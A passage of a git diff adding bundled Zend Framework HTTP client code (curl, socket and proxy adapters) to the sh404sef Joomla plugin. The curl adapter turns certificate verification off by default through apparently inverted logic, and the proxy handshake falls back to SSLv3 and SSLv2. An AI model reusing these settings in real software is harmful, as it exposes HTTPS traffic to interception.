(self::$_fileInfoDb === null) { + self::$_fileInfoDb = @finfo_open(FILEINFO_MIME); + } + + if (self::$_fileInfoDb) { + $type = finfo_file(self::$_fileInfoDb, $file); + } + + } elseif (function_exists('mime_content_type')) { + $type = mime_content_type($file); + } + + // Fallback to the default application/octet-stream + if (! $type) { + $type = 'application/octet-stream'; + } + + return $type; + } + + /** + * Encode data to a multipart/form-data part suitable for a POST request. + * + * @param string $boundary + * @param string $name + * @param mixed $value + * @param string $filename + * @param array $headers Associative array of optional headers @example ("Content-Transfer-Encoding" => "binary") + * @return string + */ + public static function encodeFormData($boundary, $name, $value, $filename = null, $headers = array()) { + $ret = "--{$boundary}\r\n" . + 'Content-Disposition: form-data; name="' . $name .'"'; + + if ($filename) { + $ret .= '; filename="' . $filename . '"'; + } + $ret .= "\r\n"; + + foreach ($headers as $hname => $hvalue) { + $ret .= "{$hname}: {$hvalue}\r\n"; + } + $ret .= "\r\n"; + + $ret .= "{$value}\r\n"; + + return $ret; + } + + /** + * Create a HTTP authentication "Authorization:" header according to the + * specified user, password and authentication method. + * + * @see http://www.faqs.org/rfcs/rfc2617.html + * @param string $user + * @param string $password + * @param string $type + * @return string + * @throws Zendshl_Http_Client_Exception + */ + public static function encodeAuthHeader($user, $password, $type = self::AUTH_BASIC) + { + $authHeader = null; + + switch ($type) { + case self::AUTH_BASIC: + // In basic authentication, the user name cannot contain ":" + if (strpos($user, ':') !== false) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("The user name cannot contain ':' in 'Basic' HTTP authentication"); + } + + $authHeader = 'Basic ' . base64_encode($user . ':' . $password); + break; + + //case self::AUTH_DIGEST: + /** + * @todo Implement digest authentication + */ + // break; + + default: + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Not a supported HTTP authentication type: '$type'"); + } + + return $authHeader; + } + + /** + * Convert an array of parameters into a flat array of (key, value) pairs + * + * Will flatten a potentially multi-dimentional array of parameters (such + * as POST parameters) into a flat array of (key, value) paris. In case + * of multi-dimentional arrays, square brackets ([]) will be added to the + * key to indicate an array. + * + * @since 1.9 + * + * @param array $parray + * @param string $prefix + * @return array + */ + static protected function _flattenParametersArray($parray, $prefix = null) + { + if (! is_array($parray)) { + return $parray; + } + + $parameters = array(); + + foreach($parray as $name => $value) { + + // Calculate array key + if ($prefix) { + if (is_int($name)) { + $key = $prefix . '[]'; + } else { + $key = $prefix . "[$name]"; + } + } else { + $key = $name; + } + + if (is_array($value)) { + $parameters = array_merge($parameters, self::_flattenParametersArray($value, $key)); + + } else { + $parameters[] = array($key, $value); + } + } + + return $parameters; + } + +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Curl.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Curl.php new file mode 100644 index 00000000..3785f430 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Curl.php @@ -0,0 +1,511 @@ +_invalidOverwritableCurlOptions = array( + CURLOPT_HTTPGET, + CURLOPT_POST, + CURLOPT_PUT, + CURLOPT_CUSTOMREQUEST, + CURLOPT_HEADER, + CURLOPT_RETURNTRANSFER, + CURLOPT_HTTPHEADER, + CURLOPT_POSTFIELDS, + CURLOPT_INFILE, + CURLOPT_INFILESIZE, + CURLOPT_PORT, + CURLOPT_MAXREDIRS, + CURLOPT_CONNECTTIMEOUT, + CURL_HTTP_VERSION_1_1, + CURL_HTTP_VERSION_1_0, + ); + } + + /** + * Set the configuration array for the adapter + * + * @throws Zendshl_Http_Client_Adapter_Exception + * @param Zendshl_Config | array $config + * @return Zendshl_Http_Client_Adapter_Curl + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + + } elseif (! is_array($config)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Array or Zendshl_Config object expected, got ' . gettype($config) + ); + } + + if(isset($config['proxy_user']) && isset($config['proxy_pass'])) { + $this->setCurlOption(CURLOPT_PROXYUSERPWD, $config['proxy_user'].":".$config['proxy_pass']); + unset($config['proxy_user'], $config['proxy_pass']); + } + + foreach ($config as $k => $v) { + $option = strtolower($k); + switch($option) { + case 'proxy_host': + $this->setCurlOption(CURLOPT_PROXY, $v); + break; + case 'proxy_port': + $this->setCurlOption(CURLOPT_PROXYPORT, $v); + break; + default: + $this->_config[$option] = $v; + break; + } + } + + return $this; + } + + /** + * Retrieve the array of all configuration options + * + * @return array + */ + public function getConfig() + { + return $this->_config; + } + + /** + * Direct setter for cURL adapter related options. + * + * @param string|int $option + * @param mixed $value + * @return Zendshl_Http_Adapter_Curl + */ + public function setCurlOption($option, $value) + { + if (!isset($this->_config['curloptions'])) { + $this->_config['curloptions'] = array(); + } + $this->_config['curloptions'][$option] = $value; + return $this; + } + + /** + * Initialize curl + * + * @param string $host + * @param int $port + * @param boolean $secure + * @return void + * @throws Zendshl_Http_Client_Adapter_Exception if unable to connect + */ + public function connect($host, $port = 80, $secure = false) + { + // If we're already connected, disconnect first + if ($this->_curl) { + $this->close(); + } + + // If we are connected to a different server or port, disconnect first + if ($this->_curl + && is_array($this->_connected_to) + && ($this->_connected_to[0] != $host + || $this->_connected_to[1] != $port) + ) { + $this->close(); + } + + // Do the actual connection + $this->_curl = curl_init(); + if ($port != 80) { + curl_setopt($this->_curl, CURLOPT_PORT, intval($port)); + } + + // Set timeout + curl_setopt($this->_curl, CURLOPT_CONNECTTIMEOUT, $this->_config['timeout']); + + // Set Max redirects + curl_setopt($this->_curl, CURLOPT_MAXREDIRS, $this->_config['maxredirects']); + + // SHUMISHA: disable ssl verification + curl_setopt($this->_curl, CURLOPT_SSL_VERIFYPEER, empty($this->_config['disable_curl_ssl_verify']) ? false : true); + + if (!$this->_curl) { + $this->close(); + + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Unable to Connect to ' . $host . ':' . $port); + } + + if ($secure !== false) { + // Behave the same like Zendshl_Http_Adapter_Socket on SSL options. + if (isset($this->_config['sslcert'])) { + curl_setopt($this->_curl, CURLOPT_SSLCERT, $this->_config['sslcert']); + } + if (isset($this->_config['sslpassphrase'])) { + curl_setopt($this->_curl, CURLOPT_SSLCERTPASSWD, $this->_config['sslpassphrase']); + } + } + + // Update connected_to + $this->_connected_to = array($host, $port); + } + + /** + * Send request to the remote server + * + * @param string $method + * @param Zendshl_Uri_Http $uri + * @param float $http_ver + * @param array $headers + * @param string $body + * @return string $request + * @throws Zendshl_Http_Client_Adapter_Exception If connection fails, connected to wrong host, no PUT file defined, unsupported method, or unsupported cURL option + */ + public function write($method, $uri, $httpVersion = 1.1, $headers = array(), $body = '') + { + // Make sure we're properly connected + if (!$this->_curl) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Trying to write but we are not connected"); + } + + if ($this->_connected_to[0] != $uri->getHost() || $this->_connected_to[1] != $uri->getPort()) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Trying to write but we are connected to the wrong host"); + } + + // set URL + curl_setopt($this->_curl, CURLOPT_URL, $uri->__toString()); + + // ensure correct curl call + $curlValue = true; + switch ($method) { + case Zendshl_Http_Client::GET: + $curlMethod = CURLOPT_HTTPGET; + break; + + case Zendshl_Http_Client::POST: + $curlMethod = CURLOPT_POST; + break; + + case Zendshl_Http_Client::PUT: + // There are two different types of PUT request, either a Raw Data string has been set + // or CURLOPT_INFILE and CURLOPT_INFILESIZE are used. + if(is_resource($body)) { + $this->_config['curloptions'][CURLOPT_INFILE] = $body; + } + if (isset($this->_config['curloptions'][CURLOPT_INFILE])) { + // Now we will probably already have Content-Length set, so that we have to delete it + // from $headers at this point: + foreach ($headers AS $k => $header) { + if (preg_match('/Content-Length:\s*(\d+)/i', $header, $m)) { + if(is_resource($body)) { + $this->_config['curloptions'][CURLOPT_INFILESIZE] = (int)$m[1]; + } + unset($headers[$k]); + } + } + + if (!isset($this->_config['curloptions'][CURLOPT_INFILESIZE])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Cannot set a file-handle for cURL option CURLOPT_INFILE without also setting its size in CURLOPT_INFILESIZE."); + } + + if(is_resource($body)) { + $body = ''; + } + + $curlMethod = CURLOPT_PUT; + } else { + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "PUT"; + } + break; + + case Zendshl_Http_Client::DELETE: + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "DELETE"; + break; + + case Zendshl_Http_Client::OPTIONS: + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "OPTIONS"; + break; + + case Zendshl_Http_Client::TRACE: + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "TRACE"; + break; + + case Zendshl_Http_Client::HEAD: + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "HEAD"; + break; + + default: + // For now, through an exception for unsupported request methods + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Method currently not supported"); + } + + if(is_resource($body) && $curlMethod != CURLOPT_PUT) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Streaming requests are allowed only with PUT"); + } + + // get http version to use + $curlHttp = ($httpVersion == 1.1) ? CURL_HTTP_VERSION_1_1 : CURL_HTTP_VERSION_1_0; + + // mark as HTTP request and set HTTP method + curl_setopt($this->_curl, $curlHttp, true); + curl_setopt($this->_curl, $curlMethod, $curlValue); + + if($this->out_stream) { + // headers will be read into the response + curl_setopt($this->_curl, CURLOPT_HEADER, false); + curl_setopt($this->_curl, CURLOPT_HEADERFUNCTION, array($this, "readHeader")); + // and data will be written into the file + curl_setopt($this->_curl, CURLOPT_FILE, $this->out_stream); + } else { + // ensure headers are also returned + curl_setopt($this->_curl, CURLOPT_HEADER, true); + + // ensure actual response is returned + curl_setopt($this->_curl, CURLOPT_RETURNTRANSFER, true); + } + + // set additional headers + $headers['Accept'] = ''; + curl_setopt($this->_curl, CURLOPT_HTTPHEADER, $headers); + + /** + * Make sure POSTFIELDS is set after $curlMethod is set: + * @link http://de2.php.net/manual/en/function.curl-setopt.php#81161 + */ + if ($method == Zendshl_Http_Client::POST) { + curl_setopt($this->_curl, CURLOPT_POSTFIELDS, $body); + } elseif ($curlMethod == CURLOPT_PUT) { + // this covers a PUT by file-handle: + // Make the setting of this options explicit (rather than setting it through the loop following a bit lower) + // to group common functionality together. + curl_setopt($this->_curl, CURLOPT_INFILE, $this->_config['curloptions'][CURLOPT_INFILE]); + curl_setopt($this->_curl, CURLOPT_INFILESIZE, $this->_config['curloptions'][CURLOPT_INFILESIZE]); + unset($this->_config['curloptions'][CURLOPT_INFILE]); + unset($this->_config['curloptions'][CURLOPT_INFILESIZE]); + } elseif ($method == Zendshl_Http_Client::PUT) { + // This is a PUT by a setRawData string, not by file-handle + curl_setopt($this->_curl, CURLOPT_POSTFIELDS, $body); + } + + // set additional curl options + if (isset($this->_config['curloptions'])) { + foreach ((array)$this->_config['curloptions'] as $k => $v) { + if (!in_array($k, $this->_invalidOverwritableCurlOptions)) { + if (curl_setopt($this->_curl, $k, $v) == false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception(sprintf("Unknown or erroreous cURL option '%s' set", $k)); + } + } + } + } + + // send the request + $response = curl_exec($this->_curl); + + // if we used streaming, headers are already there + if(!is_resource($this->out_stream)) { + $this->_response = $response; + } + + $request = curl_getinfo($this->_curl, CURLINFO_HEADER_OUT); + $request .= $body; + + if (empty($this->_response)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Error in cURL request: " . curl_error($this->_curl)); + } + + // cURL automatically decodes chunked-messages, this means we have to disallow the Zendshl_Http_Response to do it again + if (stripos($this->_response, "Transfer-Encoding: chunked\r\n")) { + $this->_response = str_ireplace("Transfer-Encoding: chunked\r\n", '', $this->_response); + } + + // Eliminate multiple HTTP responses. + do { + $parts = preg_split('|(?:\r?\n){2}|m', $this->_response, 2); + $again = false; + + if (isset($parts[1]) && preg_match("|^HTTP/1\.[01](.*?)\r\n|mi", $parts[1])) { + $this->_response = $parts[1]; + $again = true; + } + } while ($again); + + // cURL automatically handles Proxy rewrites, remove the "HTTP/1.0 200 Connection established" string: + if (stripos($this->_response, "HTTP/1.0 200 Connection established\r\n\r\n") !== false) { + $this->_response = str_ireplace("HTTP/1.0 200 Connection established\r\n\r\n", '', $this->_response); + } + + return $request; + } + + /** + * Return read response from server + * + * @return string + */ + public function read() + { + return $this->_response; + } + + /** + * Close the connection to the server + * + */ + public function close() + { + if(is_resource($this->_curl)) { + curl_close($this->_curl); + } + $this->_curl = null; + $this->_connected_to = array(null, null); + } + + /** + * Get cUrl Handle + * + * @return resource + */ + public function getHandle() + { + return $this->_curl; + } + + /** + * Set output stream for the response + * + * @param resource $stream + * @return Zendshl_Http_Client_Adapter_Socket + */ + public function setOutputStream($stream) + { + $this->out_stream = $stream; + return $this; + } + + /** + * Header reader function for CURL + * + * @param resource $curl + * @param string $header + * @return int + */ + public function readHeader($curl, $header) + { + $this->_response .= $header; + return strlen($header); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Exception.php new file mode 100644 index 00000000..3acda913 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Exception.php @@ -0,0 +1,39 @@ + 'ssl', + 'sslcert' => null, + 'sslpassphrase' => null, + 'sslusecontext' => false, + 'proxy_host' => '', + 'proxy_port' => 8080, + 'proxy_user' => '', + 'proxy_pass' => '', + 'proxy_auth' => Zendshl_Http_Client::AUTH_BASIC, + 'persistent' => false + ); + + /** + * Whether HTTPS CONNECT was already negotiated with the proxy or not + * + * @var boolean + */ + protected $negotiated = false; + + /** + * Connect to the remote server + * + * Will try to connect to the proxy server. If no proxy was set, will + * fall back to the target server (behave like regular Socket adapter) + * + * @param string $host + * @param int $port + * @param boolean $secure + */ + public function connect($host, $port = 80, $secure = false) + { + // If no proxy is set, fall back to Socket adapter + if (! $this->config['proxy_host']) { + return parent::connect($host, $port, $secure); + } + + /* Url might require stream context even if proxy connection doesn't */ + if ($secure) { + $this->config['sslusecontext'] = true; + } + + // Connect (a non-secure connection) to the proxy server + return parent::connect( + $this->config['proxy_host'], + $this->config['proxy_port'], + false + ); + } + + /** + * Send request to the proxy server + * + * @param string $method + * @param Zendshl_Uri_Http $uri + * @param string $http_ver + * @param array $headers + * @param string $body + * @return string Request as string + */ + public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '') + { + // If no proxy is set, fall back to default Socket adapter + if (! $this->config['proxy_host']) return parent::write($method, $uri, $http_ver, $headers, $body); + + // Make sure we're properly connected + if (! $this->socket) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Trying to write but we are not connected"); + } + + $host = $this->config['proxy_host']; + $port = $this->config['proxy_port']; + + if ($this->connected_to[0] != "tcp://$host" || $this->connected_to[1] != $port) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Trying to write but we are connected to the wrong proxy server"); + } + + // Add Proxy-Authorization header + if ($this->config['proxy_user'] && ! isset($headers['proxy-authorization'])) { + $headers['proxy-authorization'] = Zendshl_Http_Client::encodeAuthHeader( + $this->config['proxy_user'], $this->config['proxy_pass'], $this->config['proxy_auth'] + ); + } + + // if we are proxying HTTPS, preform CONNECT handshake with the proxy + if ($uri->getScheme() == 'https' && (! $this->negotiated)) { + $this->connectHandshake($uri->getHost(), $uri->getPort(), $http_ver, $headers); + $this->negotiated = true; + } + + // Save request method for later + $this->method = $method; + + // Build request headers + if ($this->negotiated) { + $path = $uri->getPath(); + if ($uri->getQuery()) { + $path .= '?' . $uri->getQuery(); + } + $request = "$method $path HTTP/$http_ver\r\n"; + } else { + $request = "$method $uri HTTP/$http_ver\r\n"; + } + + // Add all headers to the request string + foreach ($headers as $k => $v) { + if (is_string($k)) $v = "$k: $v"; + $request .= "$v\r\n"; + } + + if(is_resource($body)) { + $request .= "\r\n"; + } else { + // Add the request body + $request .= "\r\n" . $body; + } + + // Send the request + if (! @fwrite($this->socket, $request)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Error writing request to proxy server"); + } + + if(is_resource($body)) { + if(stream_copy_to_stream($body, $this->socket) == 0) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Error writing request to server'); + } + } + + return $request; + } + + /** + * Preform handshaking with HTTPS proxy using CONNECT method + * + * @param string $host + * @param integer $port + * @param string $http_ver + * @param array $headers + */ + protected function connectHandshake($host, $port = 443, $http_ver = '1.1', array &$headers = array()) + { + $request = "CONNECT $host:$port HTTP/$http_ver\r\n" . + "Host: " . $this->config['proxy_host'] . "\r\n"; + + // Add the user-agent header + if (isset($this->config['useragent'])) { + $request .= "User-agent: " . $this->config['useragent'] . "\r\n"; + } + + // If the proxy-authorization header is set, send it to proxy but remove + // it from headers sent to target host + if (isset($headers['proxy-authorization'])) { + $request .= "Proxy-authorization: " . $headers['proxy-authorization'] . "\r\n"; + unset($headers['proxy-authorization']); + } + + $request .= "\r\n"; + + // Send the request + if (! @fwrite($this->socket, $request)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Error writing request to proxy server"); + } + + // Read response headers only + $response = ''; + $gotStatus = false; + while ($line = @fgets($this->socket)) { + $gotStatus = $gotStatus || (strpos($line, 'HTTP') !== false); + if ($gotStatus) { + $response .= $line; + if (!chop($line)) break; + } + } + + // Check that the response from the proxy is 200 + if (Zendshl_Http_Response::extractCode($response) != 200) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Unable to connect to HTTPS proxy. Server response: " . $response); + } + + // If all is good, switch socket to secure mode. We have to fall back + // through the different modes + $modes = array( + STREAM_CRYPTO_METHOD_TLS_CLIENT, + STREAM_CRYPTO_METHOD_SSLv3_CLIENT, + STREAM_CRYPTO_METHOD_SSLv23_CLIENT, + STREAM_CRYPTO_METHOD_SSLv2_CLIENT + ); + + $success = false; + foreach($modes as $mode) { + $success = stream_socket_enable_crypto($this->socket, true, $mode); + if ($success) break; + } + + if (! $success) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Unable to connect to" . + " HTTPS server through proxy: could not negotiate secure connection."); + } + } + + /** + * Close the connection to the server + * + */ + public function close() + { + parent::close(); + $this->negotiated = false; + } + + /** + * Destructor: make sure the socket is disconnected + * + */ + public function __destruct() + { + if ($this->socket) $this->close(); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Socket.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Socket.php new file mode 100644 index 00000000..b01ebdbe --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Socket.php @@ -0,0 +1,545 @@ + false, + 'ssltransport' => 'ssl', + 'sslcert' => null, + 'sslpassphrase' => null, + 'sslusecontext' => false + ); + + /** + * Request method - will be set by write() and might be used by read() + * + * @var string + */ + protected $method = null; + + /** + * Stream context + * + * @var resource + */ + protected $_context = null; + + /** + * Adapter constructor, currently empty. Config is set using setConfig() + * + */ + public function __construct() + { + } + + /** + * Set the configuration array for the adapter + * + * @param Zendshl_Config | array $config + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + + } elseif (! is_array($config)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Array or Zendshl_Config object expected, got ' . gettype($config) + ); + } + + foreach ($config as $k => $v) { + $this->config[strtolower($k)] = $v; + } + } + + /** + * Retrieve the array of all configuration options + * + * @return array + */ + public function getConfig() + { + return $this->config; + } + + /** + * Set the stream context for the TCP connection to the server + * + * Can accept either a pre-existing stream context resource, or an array + * of stream options, similar to the options array passed to the + * stream_context_create() PHP function. In such case a new stream context + * will be created using the passed options. + * + * @since Zend Framework 1.9 + * + * @param mixed $context Stream context or array of context options + * @return Zendshl_Http_Client_Adapter_Socket + */ + public function setStreamContext($context) + { + if (is_resource($context) && get_resource_type($context) == 'stream-context') { + $this->_context = $context; + + } elseif (is_array($context)) { + $this->_context = stream_context_create($context); + + } else { + // Invalid parameter + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + "Expecting either a stream context resource or array, got " . gettype($context) + ); + } + + return $this; + } + + /** + * Get the stream context for the TCP connection to the server. + * + * If no stream context is set, will create a default one. + * + * @return resource + */ + public function getStreamContext() + { + if (! $this->_context) { + $this->_context = stream_context_create(); + } + + return $this->_context; + } + + /** + * Connect to the remote server + * + * @param string $host + * @param int $port + * @param boolean $secure + */ + public function connect($host, $port = 80, $secure = false) + { + // If the URI should be accessed via SSL, prepend the Hostname with ssl:// + $host = ($secure ? $this->config['ssltransport'] : 'tcp') . '://' . $host; + + // If we are connected to the wrong host, disconnect first + if (($this->connected_to[0] != $host || $this->connected_to[1] != $port)) { + if (is_resource($this->socket)) $this->close(); + } + + // Now, if we are not connected, connect + if (! is_resource($this->socket) || ! $this->config['keepalive']) { + $context = $this->getStreamContext(); + if ($secure || $this->config['sslusecontext']) { + if ($this->config['sslcert'] !== null) { + if (! stream_context_set_option($context, 'ssl', 'local_cert', + $this->config['sslcert'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Unable to set sslcert option'); + } + } + if ($this->config['sslpassphrase'] !== null) { + if (! stream_context_set_option($context, 'ssl', 'passphrase', + $this->config['sslpassphrase'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Unable to set sslpassphrase option'); + } + } + } + + $flags = STREAM_CLIENT_CONNECT; + if ($this->config['persistent']) $flags |= STREAM_CLIENT_PERSISTENT; + + $this->socket = @stream_socket_client($host . ':' . $port, + $errno, + $errstr, + (int) $this->config['timeout'], + $flags, + $context); + + if (! $this->socket) { + $this->close(); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Unable to Connect to ' . $host . ':' . $port . '. Error #' . $errno . ': ' . $errstr); + } + + // Set the stream timeout + if (! stream_set_timeout($this->socket, (int) $this->config['timeout'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Unable to set the connection timeout'); + } + + // Update connected_to + $this->connected_to = array($host, $port); + } + } + + /** + * Send request to the remote server + * + * @param string $method + * @param Zendshl_Uri_Http $uri + * @param string $http_ver + * @param array $headers + * @param string $body + * @return string Request as string + */ + public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '') + { + // Make sure we're properly connected + if (! $this->socket) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Trying to write but we are not connected'); + } + + $host = $uri->getHost(); + $host = (strtolower($uri->getScheme()) == 'https' ? $this->config['ssltransport'] : 'tcp') . '://' . $host; + if ($this->connected_to[0] != $host || $this->connected_to[1] != $uri->getPort()) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Trying to write but we are connected to the wrong host'); + } + + // Save request method for later + $this->method = $method; + + // Build request headers + $path = $uri->getPath(); + if ($uri->getQuery()) $path .= '?' . $uri->getQuery(); + $request = "{$method} {$path} HTTP/{$http_ver}\r\n"; + foreach ($headers as $k => $v) { + if (is_string($k)) $v = ucfirst($k) . ": $v"; + $request .= "$v\r\n"; + } + + if(is_resource($body)) { + $request .= "\r\n"; + } else { + // Add the request body + $request .= "\r\n" . $body; + } + + // Send the request + if (! @fwrite($this->socket, $request)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Error writing request to server'); + } + + if(is_resource($body)) { + if(stream_copy_to_stream($body, $this->socket) == 0) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Error writing request to server'); + } + } + + return $request; + } + + /** + * Read response from server + * + * @return string + */ + public function read() + { + // First, read headers only + $response = ''; + $gotStatus = false; + $stream = !empty($this->config['stream']); + + while (($line = @fgets($this->socket)) !== false) { + $gotStatus = $gotStatus || (strpos($line, 'HTTP') !== false); + if ($gotStatus) { + $response .= $line; + if (rtrim($line) === '') break; + } + } + + $this->_checkSocketReadTimeout(); + + $statusCode = Zendshl_Http_Response::extractCode($response); + + // Handle 100 and 101 responses internally by restarting the read again + if ($statusCode == 100 || $statusCode == 101) return $this->read(); + + // Check headers to see what kind of connection / transfer encoding we have + $headers = Zendshl_Http_Response::extractHeaders($response); + + /** + * Responses to HEAD requests and 204 or 304 responses are not expected + * to have a body - stop reading here + */ + if ($statusCode == 304 || $statusCode == 204 || + $this->method == Zendshl_Http_Client::HEAD) { + + // Close the connection if requested to do so by the server + if (isset($headers['connection']) && $headers['connection'] == 'close') { + $this->close(); + } + return $response; + } + + // If we got a 'transfer-encoding: chunked' header + if (isset($headers['transfer-encoding'])) { + + if (strtolower($headers['transfer-encoding']) == 'chunked') { + + do { + $line = @fgets($this->socket); + $this->_checkSocketReadTimeout(); + + $chunk = $line; + + // Figure out the next chunk size + $chunksize = trim($line); + if (! ctype_xdigit($chunksize)) { + $this->close(); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Invalid chunk size "' . + $chunksize . '" unable to read chunked body'); + } + + // Convert the hexadecimal value to plain integer + $chunksize = hexdec($chunksize); + + // Read next chunk + $read_to = ftell($this->socket) + $chunksize; + + do { + $current_pos = ftell($this->socket); + if ($current_pos >= $read_to) break; + + if($this->out_stream) { + if(stream_copy_to_stream($this->socket, $this->out_stream, $read_to - $current_pos) == 0) { + $this->_checkSocketReadTimeout(); + break; + } + } else { + $line = @fread($this->socket, $read_to - $current_pos); + if ($line === false || strlen($line) === 0) { + $this->_checkSocketReadTimeout(); + break; + } + $chunk .= $line; + } + } while (! feof($this->socket)); + + $chunk .= @fgets($this->socket); + $this->_checkSocketReadTimeout(); + + if(!$this->out_stream) { + $response .= $chunk; + } + } while ($chunksize > 0); + } else { + $this->close(); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Cannot handle "' . + $headers['transfer-encoding'] . '" transfer encoding'); + } + + // We automatically decode chunked-messages when writing to a stream + // this means we have to disallow the Zendshl_Http_Response to do it again + if ($this->out_stream) { + $response = str_ireplace("Transfer-Encoding: chunked\r\n", '', $response); + } + // Else, if we got the content-length header, read this number of bytes + } elseif (isset($headers['content-length'])) { + + // If we got more than one Content-Length header (see ZF-9404) use + // the last value sent + if (is_array($headers['content-length'])) { + $contentLength = $headers['content-length'][count($headers['content-length']) - 1]; + } else { + $contentLength = $headers['content-length']; + } + + $current_pos = ftell($this->socket); + $chunk = ''; + + for ($read_to = $current_pos + $contentLength; + $read_to > $current_pos; + $current_pos = ftell($this->socket)) { + + if($this->out_stream) { + if(@stream_copy_to_stream($this->socket, $this->out_stream, $read_to - $current_pos) == 0) { + $this->_checkSocketReadTimeout(); + break; + } + } else { + $chunk = @fread($this->socket, $read_to - $current_pos); + if ($chunk === false || strlen($chunk) === 0) { + $this->_checkSocketReadTimeout(); + break; + } + + $response .= $chunk; 